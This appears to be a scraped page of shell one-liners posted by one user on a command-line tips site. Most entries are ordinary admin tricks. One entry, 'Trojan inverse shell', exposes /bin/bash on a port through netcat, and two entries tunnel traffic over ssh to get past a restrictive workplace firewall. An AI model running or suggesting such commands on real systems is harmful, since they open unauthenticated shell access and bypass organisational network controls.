Commands by prayer

Commands by prayer (26)

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Socksify any program to avoid restrictive firwalls

Require: - tsocks (deb pkg) - A working SOCKS proxy. It's easy with ssh: $ ssh -N -D localhost:1080 your.home.pc -p 443 - tsocks configuration in your /etc/tsocks.conf (for the previous): server = 127.0.0.1 server_port = 1080
This is sample output - yours may be different.
6

tsocks <program>

prayer · 2010-07-11 14:16:06 5
Remove a line in a text file. Useful to fix "ssh host key change" warnings
This is sample output - yours may be different.
30

sed -i 8d ~/.ssh/known_hosts

prayer · 2010-07-10 14:22:34 13
big countdown clock with hours, minutes and seconds

Change HH:MM with your target time. This is for a Debian/Ubuntu GNU system. You need bash (package bash), date (package coreutils) and toilet (package toilet). Install with: # apt-get install bash coreutils toilet toilet-fonts
This is sample output - yours may be different.
-2

watch -tn1 'date -u +%T -d @$(expr $(date -d HH:MM +%s) - $(date +%s)) | toilet -f bigmono12'

prayer · 2010-06-26 11:56:11 4
make, or run a script, everytime a file in a directory is modified
This is sample output - yours may be different.
5

while inotifywait -r -e MODIFY dir/; do make; done;

prayer · 2010-06-08 23:34:00 7
Start a SOCKS proxy to avoid a restrictive firewall

You may go to Internet by means of your home ssh server. You must configure your local proxy to send traffic through the proxy. Many programs allows that: firefox, pidgin, skype, gnome, etc. Your home ssh server must listen in any of the ports permitted by your enterprise firewall. That usually includes 80 and 443. Show Sample Output
This is sample output - yours may be different.
```
<no output>
```
3

autossh -N -D localhost:1080 myhome.example.net -p 443

prayer · 2010-05-22 19:52:30 7
Get debian package names corresponding to latex packages used in a document
This is sample output - yours may be different.
1

grep -R usepackage * | cut -d']' -f2 | cut -s -d'{' -f 2 | sed s/"}"/.sty"}"/g | cut -d'}' -f1 | sort | uniq | xargs dpkg -S | cut -d':' -f1 | sort | uniq

prayer · 2010-05-22 19:37:26 5
online MAC address lookup
This is sample output - yours may be different.
2

curl -s http://standards.ieee.org/regauth/oui/oui.txt | grep $1

prayer · 2010-04-29 23:52:01 30
shows the full path of shell commands
This is sample output - yours may be different.
0

type <command>

prayer · 2010-02-15 21:47:18 5
Remove all files previously extracted from a tar(.gz) file.
This is sample output - yours may be different.
42

tar -tf <file.tar.gz> | xargs rm -r

prayer · 2009-07-06 22:23:11 20
Using scapy to get the IP of the iface used to contact local gw (i.e. supposed host IP)

You need python-scapy package Show Sample Output
This is sample output - yours may be different.
```
201.201.2.3
```
1

python -c "import scapy.all; print [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0]"

prayer · 2009-05-21 19:33:55 4
Extract an audio track from a multilingual video file, for a specific language.
This is sample output - yours may be different.
0

mencoder -aid 2 -oac copy file.avi -o english.mp3

prayer · 2009-05-19 19:24:43 7
Convert a SVG file to grayscale

It requires inkscape 0.46 and lxml packages
This is sample output - yours may be different.
7

inkscape -f file.svg --verb=org.inkscape.color.grayscale --verb=FileSave --verb=FileClose

prayer · 2009-04-27 18:59:31 6
Close shell keeping all subprocess running
This is sample output - yours may be different.
151

disown -a && exit

prayer · 2009-04-10 12:22:34 43
Kill a background job

Show Sample Output
This is sample output - yours may be different.
```
$ ping www.google.com &
$ jobs
[1]+  Running                 ping www.google.com &
$ kill %1
[1]+  Terminated              ping www.google.com &
$
```
-5

kill %1

prayer · 2009-04-09 11:54:13 4
List nearbies
This is sample output - yours may be different.
-1

/usr/sbin/arp -i eth0 | awk '{print $3}' | sed 1d

prayer · 2009-03-24 18:53:26 9
Converts to PDF all the OpenOffice.org files in the directory

Requieres unoconv (debian package)
This is sample output - yours may be different.
11

for i in $(ls *.od{tp}); do unoconv -f pdf $i; done

prayer · 2009-03-10 20:03:48 13
Forwards connections to your port 2000 to the port 22 of a remote host via ssh tunnel
This is sample output - yours may be different.
2

ssh -NL 2000:remotehost:22 remotehost

prayer · 2009-03-10 15:09:54 14
Run any GUI program remotely

ssh -X example.org xeyes The SSH server configuration requires: X11Forwarding yes # this is default in Debian And it's convenient too: Compression delayed
This is sample output - yours may be different.
16

ssh -fX <user>@<host> <program>

prayer · 2009-03-10 15:02:35 22
Activate on-the-fly GTK accels

Then, you can assign new accels to GTK menu actions pressing the keys while the option is active.
This is sample output - yours may be different.
-1

gconftool-2 -t bool -s /desktop/gnome/interface/can_change_accels true

prayer · 2009-03-10 14:53:33 6
Rotate a set of photos matching their EXIF data.

You need jhead package.
This is sample output - yours may be different.
10

jhead -autorot *.jpg

prayer · 2009-03-03 22:23:22 14
Open a file at the specified line

You may also use +line:column syntax.
This is sample output - yours may be different.
2

emacs +400 code.py

prayer · 2009-03-03 14:30:19 6
Delete the specified line
This is sample output - yours may be different.
14

sed -i 8d ~/.ssh/known_hosts

prayer · 2009-03-03 01:13:28 17
Trojan inverse shell

To connect to the shell run: nc server.example.org 2000
This is sample output - yours may be different.
6

nc -l -p 2000 -e /bin/bash

prayer · 2009-03-02 15:58:25 9
mp3 streaming

Show Sample Output
This is sample output - yours may be different.
```
The client must write:
$ nc server.example.org 2000 | madplay -
```
8

nc -l -p 2000 < song.mp3

prayer · 2009-03-02 15:54:21 13
Create a single-use TCP (or UDP) proxy

Redirect the local port 2000 to the remote port 3000. The same but UDP: nc -u -l -p 2000 -c "nc -u example.org 3000" It may be used to "convert" TCP client to UDP server (or viceversa): nc -l -p 2000 -c "nc -u example.org 3000"
This is sample output - yours may be different.
25

nc -l -p 2000 -c "nc example.org 3000"

prayer · 2009-03-01 21:28:39 32
1 2 >

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Encryption file in commad line

This will encrypt your single file and create a filename.gpg file. Option: * -c : Encrypt with symmetric cipher To decrypt dhinesh@ubuntu:~$ gpg -c sample.rb.gpg

cd into the latest directory

translate what is in the clipboard in english and write it to the terminal

Uses google api to translate, you can modify the language in which translate modifying the parameter "langpair=|en", the format is language input|language output.

Make the Mac OS X Dock 2D once more (10.5 and above only)

Mac OS X 10.5 (Leopard) introduced a new, 3D, reflective Dock. For those of us who prefer the Dock to be a little less distracting, this command is the answer. The Dock will be rendered in the same style as when pinned to the left- or right-hand side of the screen. Replace YES with NO to restore the 3D Dock.

Get AWS temporary credentials ready to export based on a MFA virtual appliance

You might want to secure your AWS operations requiring to use a MFA token. But then to use API or tools, you need to pass credentials generated with a MFA token. This commands asks you for the MFA code and retrieves these credentials using AWS Cli. To print the exports, you can use: `awk '{ print "export AWS_ACCESS_KEY_ID=\"" $1 "\"\n" "export AWS_SECRET_ACCESS_KEY=\"" $2 "\"\n" "export AWS_SESSION_TOKEN=\"" $3 "\"" }'` You must adapt the command line to include: * $MFA_IDis ARN of the virtual MFA or serial number of the physical one * TTL for the credentials

list block devices

Shows all block devices in a tree with descruptions of what they are.

On Mac OS X, runs System Profiler Report and e-mails it to specified address.

Replace "user@domain.com" with the target e-mail address. Thanks to alediaz for "$HOSTNAME" which is very useful when running the command with Apple Remote Desktop to multiple machines simultaneously.

Use result of the last command

\$ which python /usr/bin/python \$ ll `!!` lrwxrwxrwx 1 root root 9 2010-11-08 22:01 /usr/bin/python -> python2.6

This command provides more color variety for the rainbow-like appearance by generating random color codes from 16 to 231 for adb logcat.

Convert seconds to [DD:][HH:]MM:SS

Converts any number of seconds into days, hours, minutes and seconds. sec2dhms() { declare -i SS="$1" D=$(( SS / 86400 )) H=$(( SS % 86400 / 3600 )) M=$(( SS % 3600 / 60 )) S=$(( SS % 60 )) [ "$D" -gt 0 ] && echo -n "${D}:" [ "$H" -gt 0 ] && printf "%02g:" "$H" printf "%02g:%02g\n" "$M" "$S" }

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